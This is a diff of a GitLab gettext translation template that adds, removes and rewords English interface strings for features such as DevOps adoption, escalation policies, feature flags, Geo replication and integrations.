msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
